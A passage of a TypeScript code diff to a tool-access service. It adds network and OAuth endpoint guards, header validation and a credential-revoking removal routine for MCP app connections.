allowlist entries grant no access. The configured broker URL is + // still evaluated under the public-only policy below. + return null; + } + } + + function tokenBrokerAllowedPrivateHosts(): Set { + const configured = (process.env.PAPERCLIP_TOKEN_BROKER_ALLOWED_HOSTS ?? "") + .split(/[,\s]+/) + .map(normalizeTokenBrokerAllowedHost) + .filter((host): host is string => host !== null); + const pagesApiHost = normalizeTokenBrokerAllowedHost(process.env.PAPERCLIP_PAGES_API_URL ?? ""); + if (pagesApiHost) configured.push(pagesApiHost); + return new Set(configured); + } + + function tokenBrokerAllowsPrivateNetwork(endpoint: URL): boolean { + const hostname = endpoint.hostname.replace(/^\[|\]$/g, "").replace(/\.$/, "").toLowerCase(); + return tokenBrokerAllowedPrivateHosts().has(hostname); + } + + function tokenBrokerHttpFetchOptions(endpoint: URL): GuardedRemoteHttpFetchOptions { + return { + allowPrivateNetwork: tokenBrokerAllowsPrivateNetwork(endpoint), + error: (message, code) => badRequest(message, { code }), + }; + } + + async function assertTokenBrokerHttpUrlAllowed(value: string): Promise { + const endpoint = parseRemoteHttpEndpoint(value, (message, code) => badRequest(message, { code })); + await assertPublicRemoteHttpEndpoint( + endpoint, + { allowPrivateNetwork: tokenBrokerAllowsPrivateNetwork(endpoint) }, + (message, code) => badRequest(message, { code }), + ); + return endpoint.toString(); + } + + async function assertConfiguredTokenBrokerEndpointsAllowed(config: Record): Promise { + for (const url of configuredTokenBrokerExchangeUrls(config)) { + await assertTokenBrokerHttpUrlAllowed(url); + } + } + + async function assertRemoteConnectionEndpointsAllowed(config: Record): Promise { + const endpoint = await assertRemoteEndpointAllowed(config); + await assertConfiguredTokenBrokerEndpointsAllowed(config); + return endpoint; + } + + /** + * OAuth endpoint scheme/transport gate (PAP-17099). + * + * Every OAuth endpoint Paperclip acts on is attacker-influenced: discovered + * metadata, a `WWW-Authenticate` hint, a pasted config, or a gallery default. + * The authorization endpoint is the sharpest one because it is handed to the + * operator's browser as a top-level navigation, so `javascript:`/`data:` there + * would run in the board's origin. `checkOAuthEndpointUrl` is the single place + * that decides; loopback `http:` is accepted only under the same + * local-development policy that governs private remote endpoints, and + * Paperclip's own origin is exempt from the transport rule because a + * first-party endpoint (the smoke-lab fixture) is served exactly as the board + * itself is. + */ + function oauthEndpointRejected(kind: OAuthEndpointKind, reason: OAuthEndpointUrlRejection): HttpError { + return new HttpError(422, oauthEndpointUrlRejectionMessage(kind, reason), { + code: `oauth_${kind}_endpoint_rejected`, + reason, + }); + } + + /** + * Origins that are Paperclip itself: this deployment's configured public URL, + * plus the callback origin of the request in hand when there is one. Only the + * plaintext-transport rule is relaxed for these. + */ + function firstPartyOrigins(candidate?: string | null): string[] { + const configured = process.env.PAPERCLIP_PUBLIC_URL?.trim() + || process.env.PAPERCLIP_AUTH_PUBLIC_BASE_URL?.trim() + || process.env.BETTER_AUTH_URL?.trim() + || process.env.BETTER_AUTH_BASE_URL?.trim() + || null; + return [originOf(candidate), originOf(configured)].filter((origin): origin is string => Boolean(origin)); + } + + /** + * Origins for which the plaintext-transport rule is relaxed when checking + * `value`. Adds the smoke-lab fixture's own origin, because that provider is + * mounted on this deployment's own routes — `assertNotSmokeLabOAuthEndpoints` + * is what stops any other connection from claiming those paths — and a smoke + * run may be driven against a deployment served over plaintext HTTP. + */ + function insecureTransportExemptions(value: unknown, candidate?: string | null): string[] { + const origins = firstPartyOrigins(candidate); + if (typeof value === "string" && isSmokeLabOAuthUrl(value)) { + const origin = originOf(value); + if (origin) origins.push(origin); + } + return origins; + } + + /** Throws unless `value` is an endpoint Paperclip may use (and navigate to). */ + function assertOAuthEndpointUrl( + kind: OAuthEndpointKind, + value: unknown, + options: { firstPartyOrigin?: string | null } = {}, + ): string { + const check = checkOAuthEndpointUrl(value, { + allowInsecureLoopback: allowPrivateRemoteEndpoints(), + allowInsecureOrigins: insecureTransportExemptions(value, options.firstPartyOrigin), + }); + if (!check.ok) throw oauthEndpointRejected(kind, check.reason); + return check.url; + } + + /** + * Discovery variant: an unusable endpoint is dropped rather than thrown, so a + * second advertised authorization server (or a later metadata candidate) still + * gets a chance. Rejections are recorded in `rejections`; discovery raises the + * first one only if it ends up with nothing safe to use, so the operator sees + * *why* instead of a bare "does not advertise OAuth sign in". + */ + function safeOAuthEndpointUrl( + kind: OAuthEndpointKind, + value: unknown, + rejections: HttpError[], + firstPartyOrigin?: string | null, + ): string | null { + if (value === null || value === undefined || value === "") return null; + const check = checkOAuthEndpointUrl(value, { + allowInsecureLoopback: allowPrivateRemoteEndpoints(), + allowInsecureOrigins: insecureTransportExemptions(value, firstPartyOrigin), + }); + if (check.ok) return check.url; + if (check.reason !== "missing") rejections.push(oauthEndpointRejected(kind, check.reason)); + return null; + } + function trustedRuntimeHost() { return options.trustedLocalStdioRuntimeHost ?? process.env.PAPERCLIP_TRUSTED_MCP_RUNTIME_HOST @@ -1517,13 +2139,26 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} return []; } - function tokenBrokerConfig(connection: typeof toolConnections.$inferSelect): Record { - const config = asRecord(connection.config); + function tokenBrokerConfigFromConnectionConfig(config: Record): Record { const broker = asRecord(config.tokenBroker); if (Object.keys(broker).length > 0) return broker; return asRecord(config.broker); } + function tokenBrokerConfig(connection: typeof toolConnections.$inferSelect): Record { + return tokenBrokerConfigFromConnectionConfig(asRecord(connection.config)); + } + + function configuredTokenBrokerExchangeUrls(config: Record): string[] { + const broker = tokenBrokerConfigFromConnectionConfig(config); + return [...new Set([ + readConfigString(broker, "tokenUrl"), + readConfigString(broker, "exchangeTokenUrl"), + readConfigString(config, "tokenExchangeUrl"), + readConfigString(config, "pagesTokenExchangeUrl"), + ].filter((url): url is string => url !== null))]; + } + function connectionTokenBrokerEnabled(connection: typeof toolConnections.$inferSelect): boolean { const config = asRecord(connection.config); const tokenBroker = asRecord(config.tokenBroker); @@ -1907,21 +2542,23 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} body.set("requested_token_type", readConfigString(broker, "requestedTokenType") ?? "urn:ietf:params:oauth:token-type:access_token"); body.set("actor_token", Buffer.from(JSON.stringify(actor)).toString("base64url")); body.set("actor_token_type", readConfigString(broker, "actorTokenType") ?? "urn:ietf:params:oauth:token-type:jwt"); - response = await fetch(url, { + const endpoint = parseRemoteHttpEndpoint(url, (message, code) => badRequest(message, { code })); + response = await guardedRemoteHttpFetch(endpoint, { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded" }, body, - }); + }, tokenBrokerHttpFetchOptions(endpoint)); } else { const namespace = isPages ? pagesNamespaceFromScope(input.scope) : null; const body = isPages && namespace ? { namespace, ttlSeconds: input.ttlSeconds, actions: ["publish"], actor } : { scope: input.scope, ttlSeconds: input.ttlSeconds, actor, audience: readConfigString(broker, "audience") }; - response = await fetch(url, { + const endpoint = parseRemoteHttpEndpoint(url, (message, code) => badRequest(message, { code })); + response = await guardedRemoteHttpFetch(endpoint, { method: "POST", headers: { authorization: `Bearer ${parentToken}`, "content-type": "application/json" }, body: JSON.stringify(body), - }); + }, tokenBrokerHttpFetchOptions(endpoint)); } const payload = await response.json().catch(() => ({})) as unknown; const record = asRecord(payload); @@ -2415,7 +3052,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } async function appProfileForConnection( - dbClient: Pick, + dbClient: Pick, connection: typeof toolConnections.$inferSelect, ) { const profileKey = `app:${connection.id}`; @@ -2435,27 +3072,96 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} metadata: { source: "tool_connection_install", connectionId: connection.id }, }).returning(); } - const [existingEntry] = await dbClient - .select({ id: toolProfileEntries.id }) - .from(toolProfileEntries) + // Installation controls where a connection is exposed, not which actions + // it grants. The app wizard's catalog-entry includes are the authority for + // action selection, so remove the legacy connection-wide include that used + // to silently turn every installed action on. + await dbClient + .delete(toolProfileEntries) .where(and( eq(toolProfileEntries.companyId, connection.companyId), eq(toolProfileEntries.profileId, profile.id), eq(toolProfileEntries.selectorType, "connection"), + eq(toolProfileEntries.effect, "include"), eq(toolProfileEntries.connectionId, connection.id), + )); + return profile; + } + + async function enableCatalogEntriesByDefault(input: { + connection: typeof toolConnections.$inferSelect; + newCatalogEntryIds: string[]; + activeCatalogEntryIds: string[]; + actor?: ActorInfo; + }) { + // Catalog discovery also runs while the setup wizard is still a draft. + // Access is not granted until the operator finishes that wizard, so a + // draft refresh must never manufacture a profile or company-wide binding. + // Active legacy connections may still need the managed profile created on + // their first refresh, which is why the guard is on lifecycle state rather + // than profile existence. + if (input.connection.status !== "active") return; + const profileKey = `app:${input.connection.id}`; + let [profile] = await db + .select() + .from(toolProfiles) + .where(and( + eq(toolProfiles.companyId, input.connection.companyId), + eq(toolProfiles.profileKey, profileKey), )) .limit(1); - if (!existingEntry) { - await dbClient.insert(toolProfileEntries).values({ - companyId: connection.companyId, + const createdProfile = !profile; + if (!profile) { + [profile] = await db.insert(toolProfiles).values({ + companyId: input.connection.companyId, + profileKey, + name: input.connection.name, + description: `Access profile for ${input.connection.name}.`, + status: "active", + defaultAction: "deny", + metadata: { source: "app_gallery_finish", connectionId: input.connection.id }, + }).returning(); + await db.insert(toolProfileBindings).values({ + companyId: input.connection.companyId, profileId: profile.id, - selectorType: "connection", - effect: "include", - applicationId: connection.applicationId, - connectionId: connection.id, + targetType: "company", + targetId: input.connection.companyId, + priority: 100, + metadata: { source: "app_gallery_finish" }, + createdByAgentId: input.actor?.actorType === "agent" ? input.actor.actorId ?? null : null, + createdByUserId: input.actor?.actorType === "user" ? input.actor.actorId ?? null : null, }); } - return profile; + + // A new connection starts with every discovered action enabled. Later + // refreshes extend that managed profile only for genuinely new actions, so + // an action the operator deliberately turned off remains off. + const candidateIds = [...new Set( + createdProfile ? input.activeCatalogEntryIds : input.newCatalogEntryIds, + )]; + if (candidateIds.length === 0) return; + const existingEntries = await db + .select({ catalogEntryId: toolProfileEntries.catalogEntryId }) + .from(toolProfileEntries) + .where(and( + eq(toolProfileEntries.companyId, input.connection.companyId), + eq(toolProfileEntries.profileId, profile.id), + inArray(toolProfileEntries.catalogEntryId, candidateIds), + )); + const configuredIds = new Set(existingEntries.flatMap((entry) => + entry.catalogEntryId ? [entry.catalogEntryId] : [], + )); + const entryIds = candidateIds.filter((id) => !configuredIds.has(id)); + if (entryIds.length === 0) return; + await db.insert(toolProfileEntries).values(entryIds.map((catalogEntryId) => ({ + companyId: input.connection.companyId, + profileId: profile.id, + selectorType: "catalog_entry" as const, + effect: "include" as const, + applicationId: input.connection.applicationId, + connectionId: input.connection.id, + catalogEntryId, + }))); } async function listConnectionInstalls(connectionId: string, companyId?: string): Promise { @@ -2767,6 +3473,414 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} }))); } + /** + * Split the secrets a connection points at into the ones it owns outright and + * the ones another consumer still depends on. + * + * Removing an app is a credential revocation boundary (PAP-17119), but it must + * never destroy a secret the operator manages by hand or shares with another + * target. Two independent tests have to agree before a secret is destroyed: + * + * 1. Provenance — the key sits in the `tool_app.` namespace only the + * connect/reconnect/OAuth paths mint, and the row is a company-scoped + * Paperclip secret rather than a per-user credential. + * 2. Exclusivity — nothing outside this connection references it: no + * `company_secret_bindings` row from another target, and no other + * connection or connection grant naming the same secret id. + * + * A secret failing either test is reported as retained; removal still drops + * this connection's binding and ref, so the connection loses the credential + * either way. Retaining a secret nobody can reach is a leak of an unused row; + * deleting one another target still resolves is an outage, so the ambiguous + * case fails towards retention. + */ + async function classifyConnectionSecrets( + connection: typeof toolConnections.$inferSelect, + secretIds: string[], + ): Promise<{ owned: string[]; retained: string[] }> { + const unique = [...new Set(secretIds.filter((id) => typeof id === "string" && id.length > 0))]; + if (unique.length === 0) return { owned: [], retained: [] }; + + const secretRows = await db + .select({ + id: companySecrets.id, + key: companySecrets.key, + scope: companySecrets.scope, + userSecretDefinitionId: companySecrets.userSecretDefinitionId, + }) + .from(companySecrets) + .where(and(eq(companySecrets.companyId, connection.companyId), inArray(companySecrets.id, unique))); + const byId = new Map(secretRows.map((row) => [row.id, row])); + + const referencedElsewhere = new Set(); + const foreignBindings = await db + .select({ secretId: companySecretBindings.secretId }) + .from(companySecretBindings) + .where(and( + eq(companySecretBindings.companyId, connection.companyId), + inArray(companySecretBindings.secretId, unique), + sql`not (${companySecretBindings.targetType} = 'tool_connection' and ${companySecretBindings.targetId} = ${connection.id})`, + )); + for (const row of foreignBindings) referencedElsewhere.add(row.secretId); + + // Bindings are the authority, but read the sibling refs too: a row written + // before `syncCredentialBindings` existed — or by hand — can reference a + // secret with no binding to prove it. + const siblingConnections = await db + .select({ + credentialRefs: toolConnections.credentialRefs, + credentialSecretRefs: toolConnections.credentialSecretRefs, + }) + .from(toolConnections) + .where(and(eq(toolConnections.companyId, connection.companyId), ne(toolConnections.id, connection.id))); + for (const row of siblingConnections) { + for (const ref of row.credentialRefs ?? []) referencedElsewhere.add(ref.secretId); + for (const ref of row.credentialSecretRefs ?? []) referencedElsewhere.add(ref.secretId); + } + const siblingGrants = await db + .select({ credentialSecretRefs: connectionGrants.credentialSecretRefs }) + .from(connectionGrants) + .where(and( + eq(connectionGrants.companyId, connection.companyId), + ne(connectionGrants.connectionId, connection.id), + )); + for (const row of siblingGrants) { + for (const ref of row.credentialSecretRefs ?? []) referencedElsewhere.add(ref.secretId); + } + + const owned: string[] = []; + const retained: string[] = []; + for (const secretId of unique) { + const row = byId.get(secretId); + // No row means an earlier pass of this same removal already deleted it. + // Hand it back as owned so a retry re-runs the (idempotent) revocation + // instead of reporting a credential this connection never shared. + if (!row) { + owned.push(secretId); + continue; + } + const dedicated = row.scope === "company" + && row.userSecretDefinitionId === null + && row.key.startsWith(CONNECTION_OWNED_SECRET_KEY_PREFIX); + if (dedicated && !referencedElsewhere.has(secretId)) owned.push(secretId); + else retained.push(secretId); + } + return { owned, retained }; + } + + /** + * Remove an app: a credential-revoking teardown, not a status flip (PAP-17119). + * + * Order is the security property. Every database-side access path closes + * first — grants, installs, the app-managed profile, gateway tokens minted + * against it, outstanding OAuth state, the catalog, and the connection itself + * — so the app is already undispatchable before the first call out to a secret + * provider. Secret revocation runs last, and each secret's ref survives until + * that secret is gone, so a provider that errors leaves the operation failed + * closed and resumable: the credential is already unresolvable (its row is + * marked deleted first), and retrying the same removal finishes the job. + * + * What stays behind is deliberate: the connection and application rows, their + * ids, names and activity keep working so a later reconnect reuses the same + * identity — but with no credential, no install and no profile, so + * reconnecting has to ask for fresh authentication and rebuild access. + */ + async function removeConnection( + connectionId: string, + companyId?: string, + actor?: ActorInfo, + ): Promise { + const connection = await getConnectionRow(connectionId, companyId); + const now = new Date(); + const binding = actorBinding(actor); + + // Grants are read before they are revoked: a retried removal must still see + // the credential refs of a grant an earlier pass already marked revoked. + const grantRows = await db + .select({ + id: connectionGrants.id, + status: connectionGrants.status, + credentialSecretRefs: connectionGrants.credentialSecretRefs, + }) + .from(connectionGrants) + .where(and( + eq(connectionGrants.companyId, connection.companyId), + eq(connectionGrants.connectionId, connection.id), + )); + const grantsToRevoke = grantRows.filter((row) => row.status !== "revoked"); + if (grantsToRevoke.length > 0) { + await db + .update(connectionGrants) + .set({ + status: "revoked", + isDefault: false, + revokedAt: now, + revokedByAgentId: binding.actorType === "agent" ? binding.actorId : null, + revokedByUserId: binding.actorType === "user" ? binding.actorId : null, + updatedAt: now, + }) + .where(inArray(connectionGrants.id, grantsToRevoke.map((row) => row.id))); + } + + // Bindings are how a credential reaches a runtime, so they go before the + // provider round-trip rather than after it. They are also not needed to + // finish the job: the refs on the connection row are what a resumed removal + // reads to find the secrets it still owes a revocation. + const removedSecretBindings = await db + .delete(companySecretBindings) + .where(and( + eq(companySecretBindings.companyId, connection.companyId), + eq(companySecretBindings.targetType, "tool_connection"), + eq(companySecretBindings.targetId, connection.id), + )) + .returning({ id: companySecretBindings.id }); + + const removedInstalls = await db + .delete(toolConnectionInstalls) + .where(and( + eq(toolConnectionInstalls.companyId, connection.companyId), + eq(toolConnectionInstalls.connectionId, connection.id), + )) + .returning({ id: toolConnectionInstalls.id }); + + // The app-managed profile exists only to carry this connection's action + // selection, so it goes with the connection. Operator-authored profiles that + // happen to mention the connection are left alone — the archived connection + // is denied by the policy engine regardless. + const [appProfile] = await db + .select({ id: toolProfiles.id }) + .from(toolProfiles) + .where(and( + eq(toolProfiles.companyId, connection.companyId), + eq(toolProfiles.profileKey, `app:${connection.id}`), + )) + .limit(1); + let appProfileOutcome: ToolConnectionRemovalSummary["appProfile"] = "absent"; + let appProfileEntriesRemoved = 0; + let appProfileBindingsRemoved = 0; + let gatewayTokensRevoked = 0; + let gatewaySessionsRevoked = 0; + if (appProfile) { + appProfileEntriesRemoved = (await db + .delete(toolProfileEntries) + .where(and( + eq(toolProfileEntries.companyId, connection.companyId), + eq(toolProfileEntries.profileId, appProfile.id), + )) + .returning({ id: toolProfileEntries.id })).length; + appProfileBindingsRemoved = (await db + .delete(toolProfileBindings) + .where(and( + eq(toolProfileBindings.companyId, connection.companyId), + eq(toolProfileBindings.profileId, appProfile.id), + )) + .returning({ id: toolProfileBindings.id })).length; + + const gatewayRows = await db + .select({ id: toolMcpGateways.id }) + .from(toolMcpGateways) + .where(and( + eq(toolMcpGateways.companyId, connection.companyId), + eq(toolMcpGateways.profileId, appProfile.id), + )); + if (gatewayRows.length === 0) { + await db.delete(toolProfiles).where(eq(toolProfiles.id, appProfile.id)); + appProfileOutcome = "deleted"; + } else { + // `tool_mcp_gateways.profile_id` is ON DELETE RESTRICT, so a gateway + // pointing here keeps the row alive. Archive it instead — the policy + // engine only consults `active` profiles, and it has no entries left — + // and revoke the tokens those gateways already handed out, which are the + // one credential a caller could still present. + await db + .update(toolProfiles) + .set({ status: "archived", defaultAction: "deny", updatedAt: now }) + .where(eq(toolProfiles.id, appProfile.id)); + appProfileOutcome = "archived"; + const revokedTokens = await db + .update(toolMcpGatewayTokens) + .set({ revokedAt: now, updatedAt: now }) + .where(and( + eq(toolMcpGatewayTokens.companyId, connection.companyId), + inArray(toolMcpGatewayTokens.gatewayId, gatewayRows.map((row) => row.id)), + isNull(toolMcpGatewayTokens.revokedAt), + )) + .returning({ id: toolMcpGatewayTokens.id }); + gatewayTokensRevoked = revokedTokens.length; + if (revokedTokens.length > 0) { + gatewaySessionsRevoked = (await db + .update(toolGatewaySessions) + .set({ revokedAt: now, updatedAt: now }) + .where(and( + eq(toolGatewaySessions.companyId, connection.companyId), + inArray(toolGatewaySessions.gatewayTokenId, revokedTokens.map((row) => row.id)), + isNull(toolGatewaySessions.revokedAt), + )) + .returning({ id: toolGatewaySessions.id })).length; + } + } + } + + // A local runtime already holds the injected credential inside a live child + // process, so archiving rows is not enough — the process itself is an access + // path. Stopping is best effort on purpose: if the supervisor cannot be + // reached, revoking the credential anyway (so nothing can start again) beats + // abandoning the teardown, and the warning says which slot was left running. + let runtimeSlotsStopped = 0; + const runtimeSlotRows = await db + .select({ id: toolRuntimeSlots.id, status: toolRuntimeSlots.status }) + .from(toolRuntimeSlots) + .where(and( + eq(toolRuntimeSlots.companyId, connection.companyId), + eq(toolRuntimeSlots.connectionId, connection.id), + )); + for (const slot of runtimeSlotRows) { + if (slot.status === "stopped") continue; + try { + await runtimeSupervisor.stopSlot({ + companyId: connection.companyId, + slotId: slot.id, + reason: "connection_removed", + }); + runtimeSlotsStopped += 1; + } catch (error) { + logger.warn( + { err: error, companyId: connection.companyId, connectionId: connection.id, slotId: slot.id }, + "tool connection removal could not stop a runtime slot", + ); + } + } + + // The catalog stays as history, but `removed` is the status that stops a + // standing trust rule from auto-allowing one of these actions again. + const removedCatalogEntries = await db + .update(toolCatalogEntries) + .set({ status: "removed", updatedAt: now }) + .where(and( + eq(toolCatalogEntries.companyId, connection.companyId), + eq(toolCatalogEntries.connectionId, connection.id), + ne(toolCatalogEntries.status, "removed"), + )) + .returning({ id: toolCatalogEntries.id }); + + // An authorization already in flight would otherwise come back and mint a + // fresh token for an app the operator just removed. + const discardedOAuthStates = await db + .delete(toolOauthStates) + .where(and( + eq(toolOauthStates.companyId, connection.companyId), + eq(toolOauthStates.connectionId, connection.id), + )) + .returning({ state: toolOauthStates.state }); + + // Token-derived material in the issuance ledger is not an access path — + // nothing validates against it — but there is no reason to keep a hash of a + // credential the operator asked us to revoke. Path, outcome, actor and time + // stay, so the usage history survives. + const clearedIssuanceHashes = await db + .update(connectionTokenIssuances) + .set({ tokenHash: null }) + .where(and( + eq(connectionTokenIssuances.companyId, connection.companyId), + eq(connectionTokenIssuances.connectionId, connection.id), + sql`${connectionTokenIssuances.tokenHash} is not null`, + )) + .returning({ id: connectionTokenIssuances.id }); + + const archived = await db.transaction(async (tx) => { + const [updatedConnection] = await tx + .update(toolConnections) + .set({ status: "archived", enabled: false, updatedAt: now }) + .where(eq(toolConnections.id, connection.id)) + .returning(); + if (!updatedConnection) throw notFound("Tool connection not found"); + + const remainingConnections = await tx + .select({ id: toolConnections.id }) + .from(toolConnections) + .where(and( + eq(toolConnections.applicationId, updatedConnection.applicationId), + ne(toolConnections.status, "archived"), + )) + .limit(1); + + let applicationArchived = false; + if (remainingConnections.length === 0) { + const [application] = await tx + .update(toolApplications) + .set({ status: "archived", archivedAt: now, updatedAt: now }) + .where(and( + eq(toolApplications.id, updatedConnection.applicationId), + ne(toolApplications.status, "archived"), + )) + .returning({ id: toolApplications.id }); + applicationArchived = Boolean(application); + } + + return { connection: updatedConnection, applicationArchived }; + }); + + // Only now, with every access path closed, revoke the credentials. Each + // `secrets.remove` marks the row deleted before it calls the provider, so a + // provider error leaves an unresolvable secret and a resumable removal + // rather than a half-open app. + const candidateSecretIds = [ + ...connection.credentialRefs.map((ref) => ref.secretId), + ...connection.credentialSecretRefs.map((ref) => ref.secretId), + ...grantRows.flatMap((grant) => (grant.credentialSecretRefs ?? []).map((ref) => ref.secretId)), + ]; + const { owned, retained } = await classifyConnectionSecrets(connection, candidateSecretIds); + let secretsRevoked = 0; + for (const secretId of owned) { + const removed = await secrets.remove(secretId); + if (removed) secretsRevoked += 1; + } + + const credentialRefsCleared = connection.credentialRefs.length + connection.credentialSecretRefs.length; + const [cleared] = await db + .update(toolConnections) + .set({ + credentialRefs: [], + credentialSecretRefs: [], + config: withoutInlineOAuthTokens(connection.config), + transportConfig: withoutInlineOAuthTokens(connection.transportConfig), + updatedAt: now, + }) + .where(eq(toolConnections.id, connection.id)) + .returning(); + if (grantRows.some((grant) => (grant.credentialSecretRefs ?? []).length > 0)) { + await db + .update(connectionGrants) + .set({ credentialSecretRefs: [], updatedAt: now }) + .where(and( + eq(connectionGrants.companyId, connection.companyId), + eq(connectionGrants.connectionId, connection.id), + )); + } + + return { + connection: toConnection(cleared ?? archived.connection), + removal: { + secretsRevoked, + secretsRetainedShared: retained.length, + credentialRefsCleared, + secretBindingsRemoved: removedSecretBindings.length, + grantsRevoked: grantsToRevoke.length, + installsRemoved: removedInstalls.length, + appProfile: appProfileOutcome, + appProfileEntriesRemoved, + appProfileBindingsRemoved, + catalogEntriesMarkedRemoved: removedCatalogEntries.length, + oauthStatesDiscarded: discardedOAuthStates.length, + tokenIssuanceHashesCleared: clearedIssuanceHashes.length, + runtimeSlotsStopped, + gatewayTokensRevoked, + gatewaySessionsRevoked, + applicationArchived: archived.applicationArchived, + }, + }; + } + async function ensureRuntimeSlot(connection: typeof toolConnections.$inferSelect): Promise { if (connection.transport !== "local_stdio") return null; const slotKey = `mcp:${connection.companyId}:${connection.id}`; @@ -2863,9 +3977,11 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } async function remoteTools(connection: typeof toolConnections.$inferSelect): Promise { - const headers = await resolveCredentialHeaders(connection); - const endpoint = await assertRemoteEndpointAllowed(connection.config); - const response = await fetch(endpoint, { + const headers = { ...projectedConnectionHeaders(connection), ...await resolveCredentialHeaders(connection) }; + // Pinned to the address the guard approved: `config.url` is operator-supplied, + // so a second DNS resolution here would reopen the rebinding window that + // PAP-17098 closed for the OAuth endpoints. + const response = await guardedRemoteHttpFetch(remoteEndpoint(connection.config), { method: "POST", // MCP Streamable HTTP requires advertising that we accept both a JSON body // and an SSE stream; spec-compliant servers 406 without it (see mcp-http.ts). @@ -2876,7 +3992,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} method: "tools/list", params: {}, }), - }); + }, remoteHttpFetchOptions()); if (!response.ok) { const authenticate = response.headers.get("www-authenticate") ?? ""; if (response.status === 401 && /bearer|oauth|authorization/i.test(authenticate)) { @@ -2895,12 +4011,23 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} codeChallengeMethodsSupported: endpoints.codeChallengeMethodsSupported ?? [], tokenEndpointAuthMethodsSupported: endpoints.tokenEndpointAuthMethodsSupported ?? [], grantType: endpoints.grantType ?? "authorization_code", + issuer: endpoints.issuer ?? null, + resource: endpoints.resource ?? null, + clientIdMetadataDocumentSupported: endpoints.clientIdMetadataDocumentSupported === true, discoveredAt: new Date().toISOString(), }, }; await db .update(toolConnections) - .set({ config: nextConfig, transportConfig: nextConfig, updatedAt: new Date() }) + .set({ + // Record the discovered auth kind now, so a URL-only connection that + // is waiting on sign-in reads as OAuth everywhere rather than + // falling back to `authKind: none` semantics. + authKind: "oauth", + config: nextConfig, + transportConfig: nextConfig, + updatedAt: new Date(), + }) .where(eq(toolConnections.id, connection.id)); } throw new HttpError(502, "This app needs you to sign in.", { @@ -2999,7 +4126,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} actor, details: { status: failure.status, transport: connection.transport }, }); - throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, { + throw new HttpError(healthFailureHttpStatus(failure), failure.message, { code: failure.code, connection: toConnection(updated), runtimeSlot, @@ -3027,7 +4154,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} details: { status: failure.status }, actor, }); - throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, { + throw new HttpError(healthFailureHttpStatus(failure), failure.message, { code: failure.code, setupUrl: connectionSetupUrl(connection), reconnectUrl: connectionReconnectUrl(connection), @@ -3038,11 +4165,12 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const existingByName = new Map(existingRows.map((entry) => [entry.toolName, entry])); const updatedEntries: ToolCatalogEntry[] = []; let quarantinedCount = 0; - const quarantineOnRefresh = shouldQuarantineNewEntries(connection) && connection.status === "active"; - const safeDefault = asRecord(connection.config).safeDefault === true; const sourceTemplateKey = typeof asRecord(connection.config).sourceTemplateKey === "string" ? String(asRecord(connection.config).sourceTemplateKey) : null; + const quarantineOnRefresh = shouldQuarantineNewEntries(connection) + && (connection.status === "active" || sourceTemplateKey === "posthog"); + const safeDefault = asRecord(connection.config).safeDefault === true; for (const descriptor of descriptors) { const riskLevel = classifyRisk(descriptor, sourceTemplateKey); const hash = descriptorHash(descriptor, riskLevel); @@ -3058,7 +4186,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} ? "quarantined" : existing?.status === "disabled" ? "disabled" - : existing?.status === "quarantined" + : quarantineOnRefresh && existing?.status === "quarantined" ? "quarantined" : "active"; if (shouldQuarantine) quarantinedCount += 1; @@ -3079,8 +4207,12 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} versionHash: hash, schemaHash, lastSeenAt: now, - quarantinedAt: shouldQuarantine ? now : existing.quarantinedAt, - quarantineReason: shouldQuarantine ? "pending_review" : existing.quarantineReason, + quarantinedAt: status === "quarantined" + ? shouldQuarantine ? now : existing.quarantinedAt + : null, + quarantineReason: status === "quarantined" + ? shouldQuarantine ? "pending_review" : existing.quarantineReason + : null, updatedAt: now, }) .where(eq(toolCatalogEntries.id, existing.id)) @@ -3136,6 +4268,19 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} .where(eq(toolRuntimeSlots.connectionId, connection.id)); } + const activeEntries = updatedEntries.filter((entry) => entry.status === "active"); + await enableCatalogEntriesByDefault({ + connection: updatedConnection, + newCatalogEntryIds: activeEntries + .filter((entry) => { + const previous = existingByName.get(entry.toolName); + return !previous || previous.status === "quarantined"; + }) + .map((entry) => entry.id), + activeCatalogEntryIds: activeEntries.map((entry) => entry.id), + actor, + }); + await audit({ companyId: connection.companyId, connectionId: connection.id, @@ -3649,7 +4794,9 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} function defaultLinkName(link: string): string { try { const url = new URL(link); - return url.hostname.replace(/^www\./, "") || "MCP app"; + const host = url.host.replace(/^www\./, ""); + const path = url.pathname === "/" ? "" : url.pathname.replace(/\/+$/, ""); + return `${host}${path}`.slice(0, 160) || "MCP app"; } catch { return "MCP app"; } @@ -3676,8 +4823,26 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } for (const configPath of Object.keys(credentialValues).sort()) { if (!configPath.startsWith("headers.")) continue; - const headerName = configPath.slice("headers.".length).trim(); - if (!headerName) continue; + const headerName = mcpRemoteHeaderNameFromConfigPath(configPath); + if (!headerName) throw badRequest("Header names cannot be blank.", { code: "mcp_header_rejected" }); + // The API schema already rejected unsafe headers, but this is the last + // point before a name becomes a real outbound request header — and the + // normalized paste-config path lands here too — so re-check rather than + // trust the caller. + const nameCheck = checkMcpRemoteHeaderName(headerName); + if (!nameCheck.ok) { + throw badRequest(mcpRemoteHeaderRejectionMessage(headerName, nameCheck.reason!), { + code: "mcp_header_rejected", + headerName, + }); + } + const valueCheck = checkMcpRemoteHeaderValue(credentialValues[configPath] ?? ""); + if (!valueCheck.ok) { + throw badRequest(mcpRemoteHeaderRejectionMessage(headerName, valueCheck.reason!), { + code: "mcp_header_rejected", + headerName, + }); + } fields.push({ label: headerName, configPath, @@ -3766,7 +4931,11 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} ? 